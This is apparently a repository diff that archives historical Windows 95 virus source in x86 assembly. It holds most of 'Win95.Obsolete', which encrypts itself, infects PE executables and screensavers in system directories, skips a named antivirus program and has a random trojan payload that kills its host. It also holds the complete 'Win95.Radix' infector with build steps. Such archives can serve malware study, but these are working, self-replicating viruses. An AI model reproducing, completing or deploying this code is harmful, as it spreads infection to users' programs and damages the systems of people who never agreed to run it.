; crash, don't ask me why...
|
||||
|
||||
|
||||
EXTRN CreateThreadA:PROC ; GetProcAddress seems to need these.
|
||||
EXTRN MessageBoxIndirectA:PROC
|
||||
|
||||
|
||||
.CODE
|
||||
|
||||
Off = 0
|
||||
On = 1
|
||||
|
||||
Debug_Mode = On ; If switched on, only DUM*.*
|
||||
; will be infected.
|
||||
|
||||
Files_Per_Dir EQU 3 ; 3 files per directory.
|
||||
Marker_File EQU 'T2IR' ; Creeping through ur files.
|
||||
Virus_Size EQU (Virus_End-START) ; Physical virussize.
|
||||
Virus_Size_Mem EQU (Virus_End_Mem-START) ; Virtual virussize.
|
||||
|
||||
|
||||
START:
|
||||
PUSHFD ; Save flags & registers.
|
||||
PUSHAD
|
||||
|
||||
CALL Get_Delta ; Get our position in memory.
|
||||
Get_Delta: POP ESI
|
||||
SUB ESI, (Get_Delta-START)
|
||||
|
||||
MOV AL, 0 ; Load initial virus-key.
|
||||
Initial_Key = BYTE PTR $-1
|
||||
|
||||
MOV EBX, (Encrypted-START)
|
||||
MOV ECX, (Virus_End-Encrypted)
|
||||
|
||||
Decrypt_Byte: XOR [ESI+EBX], AL ; Decrypt a byte.
|
||||
|
||||
INC EBX ; Next one please.
|
||||
|
||||
ADD AL, 0 ; X-Ray, away.
|
||||
Sliding_Key = BYTE PTR $-1
|
||||
|
||||
LOOP Decrypt_Byte ; And repeat the process.
|
||||
|
||||
Encrypted: ; All that comes after this is kept encrypted in PE's.
|
||||
|
||||
; Get image-base, this method should also work
|
||||
; if the image is loaded at a different base
|
||||
; than the one specified in the PE-header.
|
||||
|
||||
MOV EAX, ESI
|
||||
|
||||
SUB EAX, 12345678h
|
||||
Virus_RVA = DWORD PTR $-4
|
||||
|
||||
MOV [ESI+(Host_Image_Base-START)], EAX
|
||||
|
||||
ADD [ESI+(Old_EIP-START)], EAX
|
||||
|
||||
MOV EAX, (KERNEL32_API-START)
|
||||
LEA EDI, [ESI+(K32_API_Addresses-START)]
|
||||
CALL Retrieve_API
|
||||
JECXZ JMP_Exec_Host
|
||||
|
||||
JMP Begin_Search
|
||||
Payload_Switch = BYTE PTR $-1
|
||||
|
||||
Trojan: ; Trojanized files will continue execution here.
|
||||
|
||||
; Retrieve API-addresses in USER32.DLL.
|
||||
|
||||
MOV EAX, (USER32_API-START)
|
||||
CALL Retrieve_API
|
||||
JECXZ JMP_Exec_Host
|
||||
|
||||
; Generate a soundblaster-beep.
|
||||
|
||||
PUSH MB_ICONEXCLAMATION
|
||||
CALL [ESI+(MessageBeep-START)]
|
||||
|
||||
; Display a box with a message.
|
||||
|
||||
PUSH MB_ICONEXCLAMATION
|
||||
LEA EAX, [ESI+(Window_Name-START)]
|
||||
PUSH EAX
|
||||
LEA EAX, [ESI+(Payload_Msg-START)]
|
||||
PUSH EAX
|
||||
PUSH 0
|
||||
CALL [ESI+(MessageBoxA-START)]
|
||||
|
||||
; Exit current process.
|
||||
|
||||
CALL [ESI+(ExitProcess-START)]
|
||||
|
||||
|
||||
Window_Name DB 'Win95.Obsolete v1.00', 0
|
||||
Payload_Msg DB 'MAN HAS BECOME OBSOLETE... FEAR THE MACHINES!', 0
|
||||
|
||||
|
||||
JMP_Exec_Host: JMP Execute_Host
|
||||
|
||||
|
||||
Begin_Search:
|
||||
LEA EBX, [ESI+(Current_Directory-START)]
|
||||
MOV ECX, MAX_PATH
|
||||
|
||||
PUSH EBX
|
||||
|
||||
; Save original path.
|
||||
|
||||
PUSH EBX
|
||||
PUSH ECX
|
||||
CALL [ESI+(GetCurrentDirectoryA-START)]
|
||||
|
||||
; Obtain path to Windoze-directory.
|
||||
|
||||
ADD EBX, ECX
|
||||
|
||||
PUSH EBX
|
||||
|
||||
PUSH ECX
|
||||
PUSH EBX
|
||||
CALL [ESI+(GetWindowsDirectoryA-START)]
|
||||
|
||||
; Obtain path to Windoze\System-directory.
|
||||
|
||||
ADD EBX, ECX
|
||||
|
||||
PUSH EBX
|
||||
|
||||
PUSH ECX
|
||||
PUSH EBX
|
||||
CALL [ESI+(GetSystemDirectoryA-START)]
|
||||
|
||||
; Infect files in Windoze-directory.
|
||||
|
||||
MOV EBX, [ESI+(SetCurrentDirectoryA-START)]
|
||||
|
||||
CALL EBX
|
||||
CALL Infect_Directory
|
||||
|
||||
; Infect files in Windoze\System-directory.
|
||||
|
||||
CALL EBX
|
||||
CALL Infect_Directory
|
||||
|
||||
; Infect files in the current directory.
|
||||
|
||||
CALL EBX
|
||||
CALL Infect_Directory
|
||||
|
||||
Execute_Host: MOV ECX, 0
|
||||
Section_Size = DWORD PTR $-4
|
||||
JECXZ Virus_Exit
|
||||
|
||||
MOV EBX, 400000h
|
||||
Host_Image_Base = DWORD PTR $-4
|
||||
|
||||
ADD EBX, OFFSET Carrier
|
||||
RVA_Encrypted = DWORD PTR $-4
|
||||
|
||||
MOV AL, 0
|
||||
Init_K_Section = BYTE PTR $-1
|
||||
|
||||
Decr_Section: XOR [EBX], AL ; Decrypt the host's section.
|
||||
|
||||
INC EBX
|
||||
|
||||
ADD AL, 0
|
||||
Slide_K_Section = BYTE PTR $-1
|
||||
|
||||
LOOP Decr_Section
|
||||
|
||||
Virus_Exit: POPAD ; Restore registers & flags.
|
||||
POPFD
|
||||
|
||||
MOV EAX, OFFSET Carrier ; EAX = EIP of program.
|
||||
Old_EIP = DWORD PTR $-4
|
||||
|
||||
JMP EAX
|
||||
|
||||
|
||||
|
||||
Infect_Directory:
|
||||
|
||||
PUSHAD
|
||||
|
||||
; Reset infection-counter.
|
||||
|
||||
AND BYTE PTR [ESI+(Infect_Counter-START)], 0
|
||||
|
||||
LEA EAX, [ESI+(Search_Buffer-START)]
|
||||
PUSH EAX
|
||||
LEA EAX, [ESI+(File_Spec-START)]
|
||||
PUSH EAX
|
||||
CALL [ESI+(FindFirstFileA-START)]
|
||||
|
||||
CMP EAX, -1 ; Abort on error.
|
||||
JE Exit_Infect
|
||||
|
||||
XCHG EBP, EAX
|
||||
|
||||
Infect_Loop: CMP BYTE PTR [ESI+(Infect_Counter-START)], Files_Per_Dir
|
||||
JNB Exit_Infect
|
||||
|
||||
Infect_File: PUSH EBP
|
||||
|
||||
LEA EBX, [ESI+(Search_Buffer.Find_File_Name-START)]
|
||||
|
||||
Check_File_Ext: MOV EDI, EBX
|
||||
|
||||
XOR AL, AL ; Find end of ASCIIZ-string.
|
||||
MOV CH, 0FFh
|
||||
CLD
|
||||
REPNZ SCASB
|
||||
|
||||
MOV EAX, [EDI-5] ; Get last DWORD of filename.
|
||||
CALL Upcase_EAX
|
||||
|
||||
CMP EAX, 'EXE.' ; Standard .EXE-file?
|
||||
JE Check_Filename
|
||||
|
||||
Go_Find_Next_F: CMP EAX, 'RCS.' ; Screensaver-file?
|
||||
JNE Find_Next_File
|
||||
|
||||
Check_Filename: MOV EAX, [EBX] ; Get 1st DWORD of filename.
|
||||
CALL Upcase_EAX
|
||||
|
||||
CMP EAX, 'NACS' ; Don't infect McFuck SCAN,
|
||||
JE Go_Find_Next_F ; (most overused Windoze AV).
|
||||
|
||||
Save_File_Attr: PUSH EBX
|
||||
CALL [ESI+(GetFileAttributesA-START)]
|
||||
|
||||
PUSH EAX
|
||||
PUSH EBX
|
||||
|
||||
; Clear the readonly-flag.
|
||||
|
||||
AND AL, NOT FILE_ATTRIBUTE_READONLY
|
||||
|
||||
PUSH EAX
|
||||
PUSH EBX
|
||||
CALL [ESI+(SetFileAttributesA-START)]
|
||||
|
||||
XOR EBP, EBP
|
||||
|
||||
PUSH EBP ; Open the file.
|
||||
PUSH FILE_ATTRIBUTE_NORMAL
|
||||
PUSH OPEN_EXISTING
|
||||
PUSH EBP
|
||||
PUSH EBP
|
||||
PUSH GENERIC_READ OR GENERIC_WRITE
|
||||
PUSH EBX
|
||||
CALL [ESI+(CreateFileA-START)]
|
||||
|
||||
CMP EAX, -1 ; Error?
|
||||
JE Restore_Attr
|
||||
|
||||
MOV [ESI+(File_Handle-START)], EAX
|
||||
|
||||
PUSH EAX
|
||||
|
||||
XCHG EDI, EAX
|
||||
|
||||
; Save the host's time/date of creation,
|
||||
; last access, and last write.
|
||||
|
||||
LEA EAX, [ESI+(Victim_Last_Write_Time-START)]
|
||||
|
||||
PUSH EAX
|
||||
|
||||
PUSH EAX
|
||||
ADD EAX, 8
|
||||
PUSH EAX
|
||||
ADD EAX, 8
|
||||
PUSH EAX
|
||||
PUSH EDI
|
||||
CALL [ESI+(GetFileTime-START)]
|
||||
|
||||
PUSH EBP
|
||||
PUSH EDI
|
||||
CALL [ESI+(GetFileSize-START)]
|
||||
|
||||
MOV [ESI+(Host_Size-START)], EAX
|
||||
|
||||
ADD EAX, Virus_Size
|
||||
|
||||
; Like, allocate memory for the mapped file, or
|
||||
; whatever the fuck this shit is neccesary for.
|
||||
|
||||
PUSH EBP
|
||||
PUSH EAX
|
||||
PUSH EBP
|
||||
PUSH PAGE_READWRITE
|
||||
PUSH EBP
|
||||
PUSH EDI
|
||||
CALL [ESI+(CreateFileMappingA-START)]
|
||||
|
||||
OR EAX, EAX ; Error?
|
||||
JZ Close_File
|
||||
|
||||
PUSH EAX
|
||||
|
||||
; This should map the file in our
|
||||
; allocated memory, am I not right???
|
||||
|
||||
PUSH EBP ; WHOLE file.
|
||||
PUSH EBP
|
||||
PUSH EBP
|
||||
PUSH FILE_MAP_WRITE
|
||||
PUSH EAX
|
||||
CALL [ESI+(MapViewOfFile-START)]
|
||||
|
||||
OR EAX, EAX ; Error?
|
||||
JZ Close_Mapping
|
||||
|
||||
PUSH EAX
|
||||
|
||||
CMP [EAX.EXE_Mark], 'ZM' ; File must be .EXE-type.
|
||||
JNE Unmap_File
|
||||
|
||||
CMP [EAX.Reloc_Table], 40h ; It has a NE/PE-header?
|
||||
JB Unmap_File
|
||||
|
||||
MOV ECX, [EAX+3Ch] ; Obtain pointer to PE-header.
|
||||
|
||||
LEA EDI, [EAX+ECX] ; EDI = PE-header.
|
||||
|
||||
CMP [EDI.PE_Mark], 'EP' ; Make sure it's a PE-file.
|
||||
JNE Unmap_File
|
||||
|
||||
; A bit redundant, I guess...
|
||||
|
||||
CMP [EDI.CPU_Type], 14Ch ; This PE is for 386+'s ?
|
||||
JNE Unmap_File
|
||||
|
||||
; === Avoid DLL's. ===
|
||||
|
||||
TEST BYTE PTR [EDI.PE_Flags+1], 00100000b
|
||||
JNZ Unmap_File
|
||||
|
||||
; === Did we already infect it before? ===
|
||||
|
||||
CMP [EDI.Reserved_1], Marker_File
|
||||
JE Unmap_File
|
||||
|
||||
XCHG EBX, EAX ; EBX = Mapping-address.
|
||||
|
||||
; === Get last section-header. ===
|
||||
|
||||
XOR EAX, EAX
|
||||
MOV AX, [EDI.Number_Of_Sections]
|
||||
DEC AX
|
||||
MOV ECX, 40
|
||||
MUL ECX
|
||||
|
||||
MOV EDX, EDI ; EDX = PE-header.
|
||||
|
||||
MOV BP, [EDX.Headers_Size]
|
||||
ADD EBP, 18h
|
||||
ADD EBP, EAX
|
||||
ADD EBP, EDX ; EBP = Last section-header.
|
||||
|
||||
MOV EAX, [EBP.Section_Start]
|
||||
ADD EAX, [EBP.Section_Size_Raw]
|
||||
|
||||
LEA EDI, [EAX+EBX] ; Offset of virus in file.
|
||||
|
||||
PUSHAD
|
||||
|
||||
MOV ECX, Virus_Size ; Copy virus to mapped file.
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
POPAD
|
||||
|
||||
ADD EAX, Virus_Size ; Set new size of host.
|
||||
|
||||
MOV [ESI+(Host_Size-START)], EAX
|
||||
|
||||
PUSH [EDX.Entry_Point]
|
||||
POP DWORD PTR [EDI+(Old_EIP-START)]
|
||||
|
||||
; Calculate virus' new EIP RVA.
|
||||
|
||||
MOV EAX, [EBP.Section_RVA]
|
||||
ADD EAX, [EBP.Section_Size_Raw]
|
||||
|
||||
MOV [EDX.Entry_Point], EAX ; Set our new entrypoint.
|
||||
|
||||
MOV [EDI+(Virus_RVA-START)], EAX
|
||||
|
||||
IN AX, 40h ; Get a random value in AL.
|
||||
XOR AL, AH
|
||||
|
||||
AND AL, 11111100b ; Trojanize this victim?
|
||||
JNZ Skip_Trojanize
|
||||
|
||||
; Patch JMP to let it point to the trojan-code.
|
||||
|
||||
MOV [EDI+(Payload_Switch-START)], AL
|
||||
|
||||
Skip_Trojanize: MOV EAX, [EBP.Section_Size_Raw]
|
||||
MOV ECX, [EBP.Section_Size_Virtual]
|
||||
|
||||
; Always pick the smallest size.
|
||||
|
||||
CMP EAX, ECX ; The other one is smaller?
|
||||
JNB Not_Bigger ; No, leave things this way.
|
||||
|
||||
XCHG ECX, EAX ; Else use the smaller size.
|
||||
|
||||
Not_Bigger: MOV [EDI+(Section_Size-START)], ECX
|
||||
|
||||
ADD [EBP.Section_Size_Virtual], Virus_Size_Mem
|
||||
ADD [EBP.Section_Size_Raw], Virus_Size
|
||||
ADD [EDX.Image_Size], Virus_Size
|
||||
|
||||
; Set object-flags: code, executable, readable, and writable.
|
||||
|
||||
OR [EBP.Section_Flags], 11100000000000000000000000100000b
|
||||
|
||||
JECXZ Encrypt_Virus ; Don't let LOOP overflow.
|
||||
|
||||
ADD EBX, [EBP.Section_Start]
|
||||
|
||||
PUSH [EBP.Section_RVA]
|
||||
POP DWORD PTR [EDI+(RVA_Encrypted-START)]
|
||||
|
||||
IN AX, 40h ; Get random keys.
|
||||
|
||||
MOV [EDI+(Init_K_Section-START)], AL
|
||||
MOV [EDI+(Slide_K_Section-START)], AH
|
||||
|
||||
Encr_Section: XOR [EBX], AL ; Encrypt host's last section.
|
||||
|
||||
INC EBX
|
||||
|
||||
ADD AL, AH
|
||||
|
||||
LOOP Encr_Section
|
||||
|
||||
Encrypt_Virus: IN AX, 40h ; Get a random value in AX.
|
||||
|
||||
MOV [EDI+(Initial_Key-START)], AL
|
||||
MOV [EDI+(Sliding_Key-START)], AH
|
||||
|
||||
ADD EDI, (Encrypted-START)
|
||||
MOV ECX, (Virus_End-Encrypted)
|
||||
|
||||
Encrypt_Byte: XOR [EDI], AL ; Encrypt virusbody.
|
||||
|
||||
INC EDI
|
||||
|
||||
ADD AL, AH
|
||||
|
||||
LOOP Encrypt_Byte
|
||||
|
||||
; Mark this host as being infected.
|
||||
|
||||
MOV [EDX.Reserved_1], Marker_File
|
||||
|
||||
; We succesfully infected yet another file.
|
||||
|
||||
INC BYTE PTR [ESI+(Infect_Counter-START)]
|
||||
|
||||
Unmap_File: CALL [ESI+(UnmapViewOfFile-START)]
|
||||
|
||||
Close_Mapping: CALL [ESI+(CloseHandle-START)]
|
||||
|
||||
Close_File: PUSH 0
|
||||
PUSH 0
|
||||
PUSH 12345678h
|
||||
Host_Size = DWORD PTR $-4
|
||||
PUSH DWORD PTR [ESI+(File_Handle-START)]
|
||||
CALL [ESI+(SetFilePointer-START)]
|
||||
|
||||
PUSH DWORD PTR [ESI+(File_Handle-START)]
|
||||
CALL [ESI+(SetEndOfFile-START)]
|
||||
|
||||
POP EAX
|
||||
|
||||
PUSH EAX ; Restore original filedates
|
||||
ADD EAX, 8 ; and times.
|
||||
PUSH EAX
|
||||
ADD EAX, 8
|
||||
PUSH EAX
|
||||
PUSH 12345678h
|
||||
File_Handle = DWORD PTR $-4
|
||||
CALL [ESI+(SetFileTime-START)]
|
||||
|
||||
CALL [ESI+(CloseHandle-START)]
|
||||
|
||||
Restore_Attr: CALL [ESI+(SetFileAttributesA-START)]
|
||||
|
||||
Find_Next_File: POP EBP
|
||||
|
||||
; Now go find the next .EXE-file.
|
||||
|
||||
LEA EAX, [ESI+(Search_Buffer-START)]
|
||||
PUSH EAX
|
||||
PUSH EBP
|
||||
CALL [ESI+(FindNextFileA-START)]
|
||||
|
||||
OR EAX, EAX
|
||||
JNZ Infect_Loop
|
||||
|
||||
Exit_Infect: POPAD
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Author DB '(c) 1998-1999 by T-2000 / Immortal Riot', 0
|
||||
|
||||
|
||||
; EAX = Offset to module-name.
|
||||
; EDI = Pointer to buffer API-addresses.
|
||||
Retrieve_API:
|
||||
PUSH ESI
|
||||
|
||||
MOV EBX, ESI ; EBX holds the delta-offset.
|
||||
|
||||
ADD ESI, EAX ; Module-name.
|
||||
|
||||
; === Get the base-address of the given module. ===
|
||||
|
||||
PUSH ESI
|
||||
CALL [EBX+(GetModuleHandleA-START)]
|
||||
|
||||
XCHG ECX, EAX
|
||||
JECXZ Exit_Get_API
|
||||
|
||||
MOV EBP, ECX ; EBP = Module-base.
|
||||
|
||||
ADD ESI, 13 ; ESI = Start API-names.
|
||||
|
||||
Retrieve_Addr: PUSH ESI ; Retrieve the API's address.
|
||||
PUSH EBP
|
||||
CALL [EBX+(GetProcAddress-START)]
|
||||
|
||||
CLD ; Store the API-address.
|
||||
STOSD
|
||||
|
||||
XCHG ECX, EAX
|
||||
JECXZ Exit_Get_API
|
||||
|
||||
Find_End_API: LODSB ; Go to next API-name.
|
||||
|
||||
OR AL, AL ; Reached the end of ASCIIZ?
|
||||
JNZ Find_End_API
|
||||
|
||||
CMP [ESI], AL ; We did 'em all?
|
||||
JNZ Retrieve_Addr ; Nope, so continue loop.
|
||||
|
||||
Exit_Get_API: POP ESI
|
||||
|
||||
RET
|
||||
|
||||
|
||||
; Don't use a lame AND to convert to uppercase, it'll
|
||||
; screw things up with non-alfabethical characters.
|
||||
Upcase_EAX:
|
||||
ROL EAX, 8
|
||||
|
||||
CALL Upcase_AL
|
||||
|
||||
ROL EAX, 8
|
||||
|
||||
CALL Upcase_AL
|
||||
|
||||
ROL EAX, 8
|
||||
|
||||
CALL Upcase_AL
|
||||
|
||||
ROL EAX, 8
|
||||
|
||||
Upcase_AL: CMP AL, 'a'
|
||||
JB Exit_Upcase_AL
|
||||
|
||||
CMP AL, 'z'
|
||||
JA Exit_Upcase_AL
|
||||
|
||||
SUB AL, 'a' - 'A'
|
||||
|
||||
Exit_Upcase_AL: RET
|
||||
|
||||
|
||||
; ********************* DATA AREA *******************************************
|
||||
|
||||
|
||||
IF Debug_Mode
|
||||
|
||||
File_Spec DB 'DUM*.*', 0 ; Searchmask for debugmode.
|
||||
|
||||
ELSE
|
||||
|
||||
File_Spec DB '*.*', 0 ; Searchmask for wildmode.
|
||||
|
||||
ENDIF
|
||||
|
||||
|
||||
; All API's used by the actual infection-process.
|
||||
|
||||
KERNEL32_API DB 'KERNEL32.dll', 0
|
||||
DB 'GetWindowsDirectoryA', 0
|
||||
DB 'GetSystemDirectoryA', 0
|
||||
DB 'FindFirstFileA', 0
|
||||
DB 'FindNextFileA', 0
|
||||
DB 'CreateFileA', 0
|
||||
DB 'CreateFileMappingA', 0
|
||||
DB 'MapViewOfFile', 0
|
||||
DB 'UnmapViewOfFile', 0
|
||||
DB 'CloseHandle', 0
|
||||
DB 'GetFileTime', 0
|
||||
DB 'SetFileTime', 0
|
||||
DB 'GetFileSize', 0
|
||||
DB 'SetFilePointer', 0
|
||||
DB 'SetEndOfFile', 0
|
||||
DB 'GetCurrentDirectoryA', 0
|
||||
DB 'SetCurrentDirectoryA', 0
|
||||
DB 'GetFileAttributesA', 0
|
||||
DB 'SetFileAttributesA', 0
|
||||
DB 'ExitProcess', 0
|
||||
DB 0
|
||||
|
||||
|
||||
; This shit is only used by the trojan-code.
|
||||
|
||||
USER32_API DB 'USER32.dll', 0, 0, 0
|
||||
DB 'MessageBoxA', 0
|
||||
DB 'MessageBeep', 0
|
||||
DB 0
|
||||
|
||||
|
||||
; Fuck, these are hardcoded!
|
||||
|
||||
GetModuleHandleA DD 0BFF775BDh
|
||||
GetProcAddress DD 0BFF76D5Ch
|
||||
|
||||
|
||||
Virus_End:
|
||||
|
||||
|
||||
K32_API_Addresses:
|
||||
|
||||
GetWindowsDirectoryA DD 0
|
||||
GetSystemDirectoryA DD 0
|
||||
FindFirstFileA DD 0
|
||||
FindNextFileA DD 0
|
||||
CreateFileA DD 0
|
||||
CreateFileMappingA DD 0
|
||||
MapViewOfFile DD 0
|
||||
UnmapViewOfFile DD 0
|
||||
CloseHandle DD 0
|
||||
GetFileTime DD 0
|
||||
SetFileTime DD 0
|
||||
GetFileSize DD 0
|
||||
SetFilePointer DD 0
|
||||
SetEndOfFile DD 0
|
||||
GetCurrentDirectoryA DD 0
|
||||
SetCurrentDirectoryA DD 0
|
||||
GetFileAttributesA DD 0
|
||||
SetFileAttributesA DD 0
|
||||
ExitProcess DD 0
|
||||
|
||||
|
||||
U32_API_Addresses:
|
||||
|
||||
MessageBoxA DD 0
|
||||
MessageBeep DD 0
|
||||
|
||||
|
||||
Current_Directory DB MAX_PATH DUP(0)
|
||||
Windows_Directory DB MAX_PATH DUP(0)
|
||||
System_Directory DB MAX_PATH DUP(0)
|
||||
|
||||
|
||||
Infect_Counter DB 0
|
||||
|
||||
|
||||
Victim_Last_Write_Time DD 0, 0
|
||||
Victim_Last_Access_Time DD 0, 0
|
||||
Victim_Creation_Time DD 0, 0
|
||||
|
||||
|
||||
Search_Buffer DB 666 DUP(0)
|
||||
|
||||
|
||||
Virus_End_Mem:
|
||||
|
||||
; ???????????????????????????????????????????????????????????????????????????
|
||||
|
||||
|
||||
Section_Header STRUC
|
||||
Section_Name DB 8 DUP(0)
|
||||
Section_Size_Virtual DD 0
|
||||
Section_RVA DD 0
|
||||
Section_Size_Raw DD 0
|
||||
Section_Start DD 0
|
||||
DD 0, 0
|
||||
DW 0, 0
|
||||
Section_Flags DD 0
|
||||
Section_Header ENDS
|
||||
|
||||
|
||||
Find_First_Next_Win32 STRUC
|
||||
File_Attributes DD 0
|
||||
Creation_Time DD 0, 0
|
||||
Last_Accessed_Time DD 0, 0
|
||||
Last_Written_Time DD 0, 0
|
||||
Find_File_Size_High DD 0
|
||||
Find_File_Size_Low DD 0
|
||||
Find_Reserved_1 DD 0
|
||||
Find_Reserved_2 DD 0
|
||||
Find_File_Name DB 260 DUP(0)
|
||||
Find_DOS_File_Name DB 13 DUP(0)
|
||||
Find_First_Next_Win32 ENDS
|
||||
|
||||
|
||||
EXE_Header STRUC
|
||||
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
|
||||
Image_Mod_512 DW 0
|
||||
Image_512_Pages DW 0
|
||||
Reloc_Items DW 0
|
||||
Header_Size_Mem DW 0
|
||||
Min_Size_Mem DW 0
|
||||
Max_Size_Mem DW 0
|
||||
Program_SS DW 0
|
||||
Program_SP DW 0
|
||||
Checksum DW 0
|
||||
Program_IP DW 0
|
||||
Program_CS DW 0
|
||||
Reloc_Table DW 0
|
||||
EXE_Header ENDS
|
||||
|
||||
|
||||
PE_Header STRUC
|
||||
PE_Mark DD 0 ; PE-marker (PE/0/0).
|
||||
CPU_Type DW 0
|
||||
Number_Of_Sections DW 0
|
||||
DD 0
|
||||
Reserved_1 DD 0
|
||||
DD 0
|
||||
Headers_Size DW 0
|
||||
PE_Flags DW 0
|
||||
DW 8 DUP(0)
|
||||
Entry_Point DD 0
|
||||
DD 2 DUP(0)
|
||||
Image_Base DD 0
|
||||
Object_Align DD 0
|
||||
File_Align DD 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
DD 0
|
||||
Image_Size DD 0
|
||||
PE_Header ENDS
|
||||
|
||||
|
||||
; This shit ain't complete.
|
||||
|
||||
INCLUDE WIN32API.INC
|
||||
|
||||
|
||||
Carrier:
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
END START
|
||||
|
||||
|
||||
|
||||
|
||||
|
238
LegacyWindows/Win95.Radix.asm
Normal file
238
LegacyWindows/Win95.Radix.asm
Normal file
@ -0,0 +1,238 @@
|
||||
; Win95.Radix by Radix16[MIONS]
|
||||
; Made in Czech republic
|
||||
;
|
||||
;Hi,
|
||||
;
|
||||
;It's my first Ring3 virus for Win9x.Virus not testing WinNT system.
|
||||
;
|
||||
;Target : PE filez
|
||||
;Virus size : 405(402)
|
||||
;Resident : NO
|
||||
;Polymorhic : NO
|
||||
;
|
||||
;Virus not dangerous, but .....
|
||||
;
|
||||
;Decription AVP:
|
||||
;
|
||||
;http://www.avp.ch/avpve/newexe/win95/radix.stm
|
||||
;
|
||||
;It is a harmless nonmemory resident parasitic Win9x virus. It searches
|
||||
;for PE EXE files in the current directory, then writes itself to the
|
||||
;middle of the file, to not used space at the end of the PE header.
|
||||
;
|
||||
;The virus does not manifest itself in any way. It contains the text:
|
||||
;
|
||||
; Radix16
|
||||
|
||||
;Greets to :
|
||||
; Worf[MIONS]
|
||||
; VirusBuster/29
|
||||
; Prizzy/29A
|
||||
;
|
||||
;
|
||||
;How to build:
|
||||
; tasm32 -ml -m5 radix.asm
|
||||
; tlink32 -Tpe -aa -c -x radix.obj,,, import32
|
||||
; pewrsec radix.exe
|
||||
;
|
||||
;Contacty mee : Radix16@atlas.cz
|
||||
; Radix16.cjb.net
|
||||
|
||||
.386p
|
||||
locals
|
||||
.Model Flat,STDCALL
|
||||
|
||||
extrn ExitProcess :proc
|
||||
extrn GetModuleHandleA : proc
|
||||
|
||||
|
||||
.Data
|
||||
db ?
|
||||
|
||||
.Code
|
||||
|
||||
vStart label byte
|
||||
Start:
|
||||
|
||||
db 68h
|
||||
;Save old eip
|
||||
oldip: dd offset exit
|
||||
pushad
|
||||
Call Next
|
||||
id db 'Radix16'
|
||||
Next:
|
||||
pop ebp
|
||||
|
||||
|
||||
mov esi,KERNEL32+3ch
|
||||
lodsd
|
||||
add eax,KERNEL32
|
||||
xchg eax,esi
|
||||
mov esi,dword ptr [esi+78h]
|
||||
lea esi,dword ptr [esi+1ch+KERNEL32]
|
||||
lodsd
|
||||
mov eax,dword ptr [eax+KERNEL32]
|
||||
add eax,KERNEL32
|
||||
|
||||
push eax
|
||||
push 20060000h
|
||||
push 0h
|
||||
push 1h
|
||||
db 68h
|
||||
currPage:
|
||||
dd FSTGENPAGE
|
||||
push 1000dh
|
||||
call eax
|
||||
pop dword ptr [_VxDCALL0+ebp-X]
|
||||
inc eax
|
||||
jz _exit
|
||||
inc eax
|
||||
;allocation memory
|
||||
push 00020000h or 00040000h
|
||||
push 2h
|
||||
push 80060000h
|
||||
push 00010000h
|
||||
call dword ptr [_VxDCALL0+ebp-X]
|
||||
|
||||
|
||||
mov dword ptr [memory+ebp-X],eax
|
||||
|
||||
push 00020000h or 00040000h or 80000000h or 8h
|
||||
push 0h
|
||||
push 1h
|
||||
push 2h
|
||||
shr eax,12
|
||||
push eax
|
||||
push 00010001h
|
||||
call dword ptr [_VxDCALL0+ebp-X]
|
||||
;Create DTA
|
||||
mov ah,1ah
|
||||
mov edx,dword ptr [memory+ebp-X] ;buffer
|
||||
add edx,1000h
|
||||
call int21
|
||||
|
||||
mov ah,4eh ;FindFirstFile
|
||||
lea edx,[_exe+ebp-X] ;What search
|
||||
xor ecx,ecx ;normal attributes
|
||||
|
||||
tryanother:
|
||||
call int21
|
||||
jc _exit ;is filez ?
|
||||
|
||||
call _infect
|
||||
|
||||
mov ah,4fh ;FindNextFile
|
||||
Jmp tryanother
|
||||
|
||||
_exit:
|
||||
popad
|
||||
ret
|
||||
|
||||
_exe db '*.*',0 ;filez search
|
||||
|
||||
int21:
|
||||
;VxDCALL services
|
||||
push ecx
|
||||
push eax
|
||||
push 002a0010h
|
||||
call dword ptr [_VxDCALL0+ebp-X]
|
||||
ret
|
||||
|
||||
FP: ;Set file pointer
|
||||
mov ah,42h
|
||||
cdq ;xor dx,dx
|
||||
xor cx,cx
|
||||
call int21
|
||||
ret
|
||||
|
||||
|
||||
_infect:
|
||||
|
||||
|
||||
mov edx,dword ptr [memory+ebp-X] ;Name file
|
||||
add edx,101eh
|
||||
|
||||
mov ax,3d02h ;Open File R/W
|
||||
call int21
|
||||
jc quit ;Error ?
|
||||
|
||||
xchg eax,ebx ;FileHandle
|
||||
|
||||
mov ah,3fh ;Read File
|
||||
mov ecx,1000h ;Read 1000h bytes
|
||||
mov edx,dword ptr [memory+ebp-X]
|
||||
call int21
|
||||
jc quitz ;Error ?
|
||||
|
||||
|
||||
mov edi,edx
|
||||
cmp word ptr [edi],'ZM' ;Test Header (EXE)
|
||||
jne quitz ;yes or no ?
|
||||
cmp word ptr [edi+32h],'61' ;Test infection
|
||||
je quitz ;Yes, virus is in file ?
|
||||
mov word ptr [edi+32h],'61' ;No ,Save ID to file
|
||||
add edi,dword ptr [edi+3ch] ;Testing Portable Executable(PE)
|
||||
cmp word ptr [edi],'EP'
|
||||
jne quitz
|
||||
|
||||
|
||||
mov esi,edi
|
||||
mov eax,18h ;Shift image header
|
||||
add ax,word ptr [edi+14h]
|
||||
add edi,eax
|
||||
|
||||
;Search end section
|
||||
movzx cx,word ptr [esi+06h]
|
||||
mov ax,28h
|
||||
mul cx
|
||||
add edi,eax
|
||||
|
||||
mov ecx,dword ptr [esi+2ch]
|
||||
mov dword ptr [esi+54h],ecx
|
||||
|
||||
push edi
|
||||
sub edi,dword ptr [memory+ebp-X]
|
||||
xchg edi,dword ptr [esi+28h]
|
||||
mov eax,dword ptr [esi+34h]
|
||||
add edi,eax
|
||||
shr eax,12
|
||||
mov dword ptr [currPage+ebp-X],eax
|
||||
mov dword ptr [oldip+ebp-X],edi ;Save old EIP
|
||||
pop edi
|
||||
|
||||
|
||||
mov ecx,VirusSize
|
||||
lea esi,[vStart+ebp-X]
|
||||
rep movsb ;CopyVirus
|
||||
|
||||
xor al,al ;SetFilePointer 0=beginning file
|
||||
call FP ;mov al,0
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov ecx,1000h
|
||||
mov edx,dword ptr [memory+ebp-X]
|
||||
call int21
|
||||
|
||||
quitz:
|
||||
mov ah,3eh ;CloseFile
|
||||
call int21
|
||||
|
||||
quit:
|
||||
|
||||
ret
